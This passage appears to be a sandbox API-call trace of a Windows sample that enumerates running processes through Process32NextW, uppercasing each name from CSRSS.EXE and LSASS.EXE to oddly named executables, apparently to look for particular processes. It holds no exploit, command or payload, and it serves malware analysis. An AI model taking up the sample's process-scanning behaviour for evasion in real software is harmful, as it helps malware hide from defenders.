lpsz="csrss.exe", cchLength=0x9 | out: lpsz="CSRSS.EXE") returned 0x9 [0080.074] PathFindFileNameW (pszPath="CSRSS.EXE") returned="CSRSS.EXE" [0080.074] lstrcpyW (in: lpString1=0x2b4f928, lpString2="CSRSS.EXE" | out: lpString1="CSRSS.EXE") returned="CSRSS.EXE" [0080.074] Process32NextW (in: hSnapshot=0x314, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x194, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x14c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0080.074] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="wininit.exe" | out: lpString1="wininit.exe") returned="wininit.exe" [0080.074] lstrlenW (lpString="wininit.exe") returned 11 [0080.074] CharUpperBuffW (in: lpsz="wininit.exe", cchLength=0xb | out: lpsz="WININIT.EXE") returned 0xb [0080.074] PathFindFileNameW (pszPath="WININIT.EXE") returned="WININIT.EXE" [0080.074] lstrcpyW (in: lpString1=0x2b4f928, lpString2="WININIT.EXE" | out: lpString1="WININIT.EXE") returned="WININIT.EXE" [0080.074] Process32NextW (in: hSnapshot=0x314, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0080.075] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="csrss.exe" | out: lpString1="csrss.exe") returned="csrss.exe" [0080.075] lstrlenW (lpString="csrss.exe") returned 9 [0080.075] CharUpperBuffW (in: lpsz="csrss.exe", cchLength=0x9 | out: lpsz="CSRSS.EXE") returned 0x9 [0080.075] PathFindFileNameW (pszPath="CSRSS.EXE") returned="CSRSS.EXE" [0080.075] lstrcpyW (in: lpString1=0x2b4f928, lpString2="CSRSS.EXE" | out: lpString1="CSRSS.EXE") returned="CSRSS.EXE" [0080.075] Process32NextW (in: hSnapshot=0x314, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0080.076] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="winlogon.exe" | out: lpString1="winlogon.exe") returned="winlogon.exe" [0080.076] lstrlenW (lpString="winlogon.exe") returned 12 [0080.076] CharUpperBuffW (in: lpsz="winlogon.exe", cchLength=0xc | out: lpsz="WINLOGON.EXE") returned 0xc [0080.076] PathFindFileNameW (pszPath="WINLOGON.EXE") returned="WINLOGON.EXE" [0080.076] lstrcpyW (in: lpString1=0x2b4f928, lpString2="WINLOGON.EXE" | out: lpString1="WINLOGON.EXE") returned="WINLOGON.EXE" [0080.076] Process32NextW (in: hSnapshot=0x314, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x194, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0080.077] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="services.exe" | out: lpString1="services.exe") returned="services.exe" [0080.077] lstrlenW (lpString="services.exe") returned 12 [0080.077] CharUpperBuffW (in: lpsz="services.exe", cchLength=0xc | out: lpsz="SERVICES.EXE") returned 0xc [0080.077] PathFindFileNameW (pszPath="SERVICES.EXE") returned="SERVICES.EXE" [0080.077] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SERVICES.EXE" | out: lpString1="SERVICES.EXE") returned="SERVICES.EXE" [0080.077] Process32NextW (in: hSnapshot=0x314, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x194, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0080.077] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="lsass.exe" | out: lpString1="lsass.exe") returned="lsass.exe" [0080.077] lstrlenW (lpString="lsass.exe") returned 9 [0080.077] CharUpperBuffW (in: lpsz="lsass.exe", cchLength=0x9 | out: lpsz="LSASS.EXE") returned 0x9 [0080.077] PathFindFileNameW (pszPath="LSASS.EXE") returned="LSASS.EXE" [0080.077] lstrcpyW (in: lpString1=0x2b4f928, lpString2="LSASS.EXE" | out: lpString1="LSASS.EXE") returned="LSASS.EXE" [0080.077] Process32NextW (in: hSnapshot=0x314, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x23c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0080.078] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="svchost.exe" | out: lpString1="svchost.exe") returned="svchost.exe" [0080.078] lstrlenW (lpString="svchost.exe") returned 11 [0080.078] CharUpperBuffW (in: lpsz="svchost.exe", cchLength=0xb | out: lpsz="SVCHOST.EXE") returned 0xb [0080.078] PathFindFileNameW (pszPath="SVCHOST.EXE") returned="SVCHOST.EXE" [0080.078] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SVCHOST.EXE" | out: lpString1="SVCHOST.EXE") returned="SVCHOST.EXE" [0080.078] Process32NextW (in: hSnapshot=0x314, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x268, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0080.079] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="svchost.exe" | out: lpString1="svchost.exe") returned="svchost.exe" [0080.079] lstrlenW (lpString="svchost.exe") returned 11 [0080.079] CharUpperBuffW (in: lpsz="svchost.exe", cchLength=0xb | out: lpsz="SVCHOST.EXE") returned 0xb [0080.079] PathFindFileNameW (pszPath="SVCHOST.EXE") returned="SVCHOST.EXE" [0080.079] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SVCHOST.EXE" | out: lpString1="SVCHOST.EXE") returned="SVCHOST.EXE" [0080.079] Process32NextW (in: hSnapshot=0x314, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1cc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0080.079] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="dwm.exe" | out: lpString1="dwm.exe") returned="dwm.exe" [0080.079] lstrlenW (lpString="dwm.exe") returned 7 [0080.079] CharUpperBuffW (in: lpsz="dwm.exe", cchLength=0x7 | out: lpsz="DWM.EXE") returned 0x7 [0080.079] PathFindFileNameW (pszPath="DWM.EXE") returned="DWM.EXE" [0080.079] lstrcpyW (in: lpString1=0x2b4f928, lpString2="DWM.EXE" | out: lpString1="DWM.EXE") returned="DWM.EXE" [0080.079] Process32NextW (in: hSnapshot=0x314, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x324, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x54, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0080.080] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="svchost.exe" | out: lpString1="svchost.exe") returned="svchost.exe" [0080.080] lstrlenW (lpString="svchost.exe") returned 11 [0080.080] CharUpperBuffW (in: lpsz="svchost.exe", cchLength=0xb | out: lpsz="SVCHOST.EXE") returned 0xb [0080.080] PathFindFileNameW (pszPath="SVCHOST.EXE") returned="SVCHOST.EXE" [0080.080] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SVCHOST.EXE" | out: lpString1="SVCHOST.EXE") returned="SVCHOST.EXE" [0080.080] Process32NextW (in: hSnapshot=0x314, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x32c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0080.081] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="svchost.exe" | out: lpString1="svchost.exe") returned="svchost.exe" [0080.081] lstrlenW (lpString="svchost.exe") returned 11 [0080.081] CharUpperBuffW (in: lpsz="svchost.exe", cchLength=0xb | out: lpsz="SVCHOST.EXE") returned 0xb [0080.081] PathFindFileNameW (pszPath="SVCHOST.EXE") returned="SVCHOST.EXE" [0080.081] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SVCHOST.EXE" | out: lpString1="SVCHOST.EXE") returned="SVCHOST.EXE" [0080.081] Process32NextW (in: hSnapshot=0x314, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x358, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0080.081] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="svchost.exe" | out: lpString1="svchost.exe") returned="svchost.exe" [0080.081] lstrlenW (lpString="svchost.exe") returned 11 [0080.081] CharUpperBuffW (in: lpsz="svchost.exe", cchLength=0xb | out: lpsz="SVCHOST.EXE") returned 0xb [0080.081] PathFindFileNameW (pszPath="SVCHOST.EXE") returned="SVCHOST.EXE" [0080.081] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SVCHOST.EXE" | out: lpString1="SVCHOST.EXE") returned="SVCHOST.EXE" [0080.081] Process32NextW (in: hSnapshot=0x314, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0080.082] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="svchost.exe" | out: lpString1="svchost.exe") returned="svchost.exe" [0080.082] lstrlenW (lpString="svchost.exe") returned 11 [0080.082] CharUpperBuffW (in: lpsz="svchost.exe", cchLength=0xb | out: lpsz="SVCHOST.EXE") returned 0xb [0080.082] PathFindFileNameW (pszPath="SVCHOST.EXE") returned="SVCHOST.EXE" [0080.082] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SVCHOST.EXE" | out: lpString1="SVCHOST.EXE") returned="SVCHOST.EXE" [0080.082] Process32NextW (in: hSnapshot=0x314, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x398, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0080.083] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="svchost.exe" | out: lpString1="svchost.exe") returned="svchost.exe" [0080.083] lstrlenW (lpString="svchost.exe") returned 11 [0080.083] CharUpperBuffW (in: lpsz="svchost.exe", cchLength=0xb | out: lpsz="SVCHOST.EXE") returned 0xb [0080.083] PathFindFileNameW (pszPath="SVCHOST.EXE") returned="SVCHOST.EXE" [0080.083] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SVCHOST.EXE" | out: lpString1="SVCHOST.EXE") returned="SVCHOST.EXE" [0080.083] Process32NextW (in: hSnapshot=0x314, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0080.084] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="svchost.exe" | out: lpString1="svchost.exe") returned="svchost.exe" [0080.084] lstrlenW (lpString="svchost.exe") returned 11 [0080.084] CharUpperBuffW (in: lpsz="svchost.exe", cchLength=0xb | out: lpsz="SVCHOST.EXE") returned 0xb [0080.084] PathFindFileNameW (pszPath="SVCHOST.EXE") returned="SVCHOST.EXE" [0080.084] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SVCHOST.EXE" | out: lpString1="SVCHOST.EXE") returned="SVCHOST.EXE" [0080.084] Process32NextW (in: hSnapshot=0x314, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x164, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0080.084] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="spoolsv.exe" | out: lpString1="spoolsv.exe") returned="spoolsv.exe" [0080.084] lstrlenW (lpString="spoolsv.exe") returned 11 [0080.084] CharUpperBuffW (in: lpsz="spoolsv.exe", cchLength=0xb | out: lpsz="SPOOLSV.EXE") returned 0xb [0080.084] PathFindFileNameW (pszPath="SPOOLSV.EXE") returned="SPOOLSV.EXE" [0080.084] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SPOOLSV.EXE" | out: lpString1="SPOOLSV.EXE") returned="SPOOLSV.EXE" [0080.084] Process32NextW (in: hSnapshot=0x314, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x420, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0080.085] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="svchost.exe" | out: lpString1="svchost.exe") returned="svchost.exe" [0080.085] lstrlenW (lpString="svchost.exe") returned 11 [0080.085] CharUpperBuffW (in: lpsz="svchost.exe", cchLength=0xb | out: lpsz="SVCHOST.EXE") returned 0xb [0080.085] PathFindFileNameW (pszPath="SVCHOST.EXE") returned="SVCHOST.EXE" [0080.085] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SVCHOST.EXE" | out: lpString1="SVCHOST.EXE") returned="SVCHOST.EXE" [0080.085] Process32NextW (in: hSnapshot=0x314, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0080.086] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="svchost.exe" | out: lpString1="svchost.exe") returned="svchost.exe" [0080.086] lstrlenW (lpString="svchost.exe") returned 11 [0080.086] CharUpperBuffW (in: lpsz="svchost.exe", cchLength=0xb | out: lpsz="SVCHOST.EXE") returned 0xb [0080.086] PathFindFileNameW (pszPath="SVCHOST.EXE") returned="SVCHOST.EXE" [0080.086] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SVCHOST.EXE" | out: lpString1="SVCHOST.EXE") returned="SVCHOST.EXE" [0080.086] Process32NextW (in: hSnapshot=0x314, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0080.086] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="OfficeClickToRun.exe" | out: lpString1="OfficeClickToRun.exe") returned="OfficeClickToRun.exe" [0080.086] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0080.086] CharUpperBuffW (in: lpsz="OfficeClickToRun.exe", cchLength=0x14 | out: lpsz="OFFICECLICKTORUN.EXE") returned 0x14 [0080.086] PathFindFileNameW (pszPath="OFFICECLICKTORUN.EXE") returned="OFFICECLICKTORUN.EXE" [0080.086] lstrcpyW (in: lpString1=0x2b4f928, lpString2="OFFICECLICKTORUN.EXE" | out: lpString1="OFFICECLICKTORUN.EXE") returned="OFFICECLICKTORUN.EXE" [0080.086] Process32NextW (in: hSnapshot=0x314, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x678, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0080.087] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="svchost.exe" | out: lpString1="svchost.exe") returned="svchost.exe" [0080.087] lstrlenW (lpString="svchost.exe") returned 11 [0080.087] CharUpperBuffW (in: lpsz="svchost.exe", cchLength=0xb | out: lpsz="SVCHOST.EXE") returned 0xb [0080.087] PathFindFileNameW (pszPath="SVCHOST.EXE") returned="SVCHOST.EXE" [0080.087] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SVCHOST.EXE" | out: lpString1="SVCHOST.EXE") returned="SVCHOST.EXE" [0080.087] Process32NextW (in: hSnapshot=0x314, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x704, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x324, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0080.088] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="sihost.exe" | out: lpString1="sihost.exe") returned="sihost.exe" [0080.088] lstrlenW (lpString="sihost.exe") returned 10 [0080.088] CharUpperBuffW (in: lpsz="sihost.exe", cchLength=0xa | out: lpsz="SIHOST.EXE") returned 0xa [0080.088] PathFindFileNameW (pszPath="SIHOST.EXE") returned="SIHOST.EXE" [0080.088] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SIHOST.EXE" | out: lpString1="SIHOST.EXE") returned="SIHOST.EXE" [0080.088] Process32NextW (in: hSnapshot=0x314, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x77c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x324, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0080.089] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="taskhostw.exe" | out: lpString1="taskhostw.exe") returned="taskhostw.exe" [0080.089] lstrlenW (lpString="taskhostw.exe") returned 13 [0080.089] CharUpperBuffW (in: lpsz="taskhostw.exe", cchLength=0xd | out: lpsz="TASKHOSTW.EXE") returned 0xd [0080.089] PathFindFileNameW (pszPath="TASKHOSTW.EXE") returned="TASKHOSTW.EXE" [0080.089] lstrcpyW (in: lpString1=0x2b4f928, lpString2="TASKHOSTW.EXE" | out: lpString1="TASKHOSTW.EXE") returned="TASKHOSTW.EXE" [0080.089] Process32NextW (in: hSnapshot=0x314, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x57c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x38, th32ParentProcessID=0x4c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0080.089] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="explorer.exe" | out: lpString1="explorer.exe") returned="explorer.exe" [0080.089] lstrlenW (lpString="explorer.exe") returned 12 [0080.089] CharUpperBuffW (in: lpsz="explorer.exe", cchLength=0xc | out: lpsz="EXPLORER.EXE") returned 0xc [0080.089] PathFindFileNameW (pszPath="EXPLORER.EXE") returned="EXPLORER.EXE" [0080.089] lstrcpyW (in: lpString1=0x2b4f928, lpString2="EXPLORER.EXE" | out: lpString1="EXPLORER.EXE") returned="EXPLORER.EXE" [0080.089] Process32NextW (in: hSnapshot=0x314, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0080.091] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="RuntimeBroker.exe" | out: lpString1="RuntimeBroker.exe") returned="RuntimeBroker.exe" [0080.091] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0080.091] CharUpperBuffW (in: lpsz="RuntimeBroker.exe", cchLength=0x11 | out: lpsz="RUNTIMEBROKER.EXE") returned 0x11 [0080.091] PathFindFileNameW (pszPath="RUNTIMEBROKER.EXE") returned="RUNTIMEBROKER.EXE" [0080.091] lstrcpyW (in: lpString1=0x2b4f928, lpString2="RUNTIMEBROKER.EXE" | out: lpString1="RUNTIMEBROKER.EXE") returned="RUNTIMEBROKER.EXE" [0080.091] Process32NextW (in: hSnapshot=0x314, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x980, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2c, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0080.091] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="ShellExperienceHost.exe" | out: lpString1="ShellExperienceHost.exe") returned="ShellExperienceHost.exe" [0080.091] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0080.091] CharUpperBuffW (in: lpsz="ShellExperienceHost.exe", cchLength=0x17 | out: lpsz="SHELLEXPERIENCEHOST.EXE") returned 0x17 [0080.091] PathFindFileNameW (pszPath="SHELLEXPERIENCEHOST.EXE") returned="SHELLEXPERIENCEHOST.EXE" [0080.091] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SHELLEXPERIENCEHOST.EXE" | out: lpString1="SHELLEXPERIENCEHOST.EXE") returned="SHELLEXPERIENCEHOST.EXE" [0080.091] Process32NextW (in: hSnapshot=0x314, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x22, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0080.092] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="SearchUI.exe" | out: lpString1="SearchUI.exe") returned="SearchUI.exe" [0080.092] lstrlenW (lpString="SearchUI.exe") returned 12 [0080.092] CharUpperBuffW (in: lpsz="SearchUI.exe", cchLength=0xc | out: lpsz="SEARCHUI.EXE") returned 0xc [0080.092] PathFindFileNameW (pszPath="SEARCHUI.EXE") returned="SEARCHUI.EXE" [0080.092] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SEARCHUI.EXE" | out: lpString1="SEARCHUI.EXE") returned="SEARCHUI.EXE" [0080.092] Process32NextW (in: hSnapshot=0x314, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x948, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="commandsxeroxrelationship.exe")) returned 1 [0080.093] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="commandsxeroxrelationship.exe" | out: lpString1="commandsxeroxrelationship.exe") returned="commandsxeroxrelationship.exe" [0080.093] lstrlenW (lpString="commandsxeroxrelationship.exe") returned 29 [0080.093] CharUpperBuffW (in: lpsz="commandsxeroxrelationship.exe", cchLength=0x1d | out: lpsz="COMMANDSXEROXRELATIONSHIP.EXE") returned 0x1d [0080.093] PathFindFileNameW (pszPath="COMMANDSXEROXRELATIONSHIP.EXE") returned="COMMANDSXEROXRELATIONSHIP.EXE" [0080.093] lstrcpyW (in: lpString1=0x2b4f928, lpString2="COMMANDSXEROXRELATIONSHIP.EXE" | out: lpString1="COMMANDSXEROXRELATIONSHIP.EXE") returned="COMMANDSXEROXRELATIONSHIP.EXE" [0080.093] Process32NextW (in: hSnapshot=0x314, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xad0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="nice cu.exe")) returned 1 [0080.093] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="nice cu.exe" | out: lpString1="nice cu.exe") returned="nice cu.exe" [0080.094] lstrlenW (lpString="nice cu.exe") returned 11 [0080.094] CharUpperBuffW (in: lpsz="nice cu.exe", cchLength=0xb | out: lpsz="NICE CU.EXE") returned 0xb [0080.094] PathFindFileNameW (pszPath="NICE CU.EXE") returned="NICE CU.EXE" [0080.094] lstrcpyW (in: lpString1=0x2b4f928, lpString2="NICE CU.EXE" | out: lpString1="NICE CU.EXE") returned="NICE CU.EXE" [0080.094] Process32NextW (in: hSnapshot=0x314, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="video_reviewing.exe")) returned 1 [0080.094] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="video_reviewing.exe" | out: lpString1="video_reviewing.exe") returned="video_reviewing.exe" [0080.094] lstrlenW (lpString="video_reviewing.exe") returned 19 [0080.094] CharUpperBuffW (in: lpsz="video_reviewing.exe", cchLength=0x13 | out: lpsz="VIDEO_REVIEWING.EXE") returned 0x13 [0080.094] PathFindFileNameW (pszPath="VIDEO_REVIEWING.EXE") returned="VIDEO_REVIEWING.EXE" [0080.094] lstrcpyW (in: lpString1=0x2b4f928, lpString2="VIDEO_REVIEWING.EXE" | out: lpString1="VIDEO_REVIEWING.EXE") returned="VIDEO_REVIEWING.EXE" [0080.094] Process32NextW (in: hSnapshot=0x314, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x870, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="shame.exe")) returned 1 [0080.095] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="shame.exe" | out: lpString1="shame.exe") returned="shame.exe" [0080.095] lstrlenW (lpString="shame.exe") returned 9 [0080.095] CharUpperBuffW (in: lpsz="shame.exe", cchLength=0x9 | out: lpsz="SHAME.EXE") returned 0x9 [0080.095] PathFindFileNameW (pszPath="SHAME.EXE") returned="SHAME.EXE" [0080.095] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SHAME.EXE" | out: lpString1="SHAME.EXE") returned="SHAME.EXE" [0080.095] Process32NextW (in: hSnapshot=0x314, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="fantasy.exe")) returned 1 [0080.096] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="fantasy.exe" | out: lpString1="fantasy.exe") returned="fantasy.exe" [0080.096] lstrlenW (lpString="fantasy.exe") returned 11 [0080.096] CharUpperBuffW (in: lpsz="fantasy.exe", cchLength=0xb | out: lpsz="FANTASY.EXE") returned 0xb [0080.096] PathFindFileNameW (pszPath="FANTASY.EXE") returned="FANTASY.EXE" [0080.096] lstrcpyW (in: lpString1=0x2b4f928, lpString2="FANTASY.EXE" | out: lpString1="FANTASY.EXE") returned="FANTASY.EXE" [0080.096] Process32NextW (in: hSnapshot=0x314, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="accepting.exe")) returned 1 [0080.096] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="accepting.exe" | out: lpString1="accepting.exe") returned="accepting.exe" [0080.096] lstrlenW (lpString="accepting.exe") returned 13 [0080.096] CharUpperBuffW (in: lpsz="accepting.exe", cchLength=0xd | out: lpsz="ACCEPTING.EXE") returned 0xd [0080.096] PathFindFileNameW (pszPath="ACCEPTING.EXE") returned="ACCEPTING.EXE" [0080.096] lstrcpyW (in: lpString1=0x2b4f928, lpString2="ACCEPTING.EXE" | out: lpString1="ACCEPTING.EXE") returned="ACCEPTING.EXE" [0080.096] Process32NextW (in: hSnapshot=0x314, lppe=0x2b4fb48 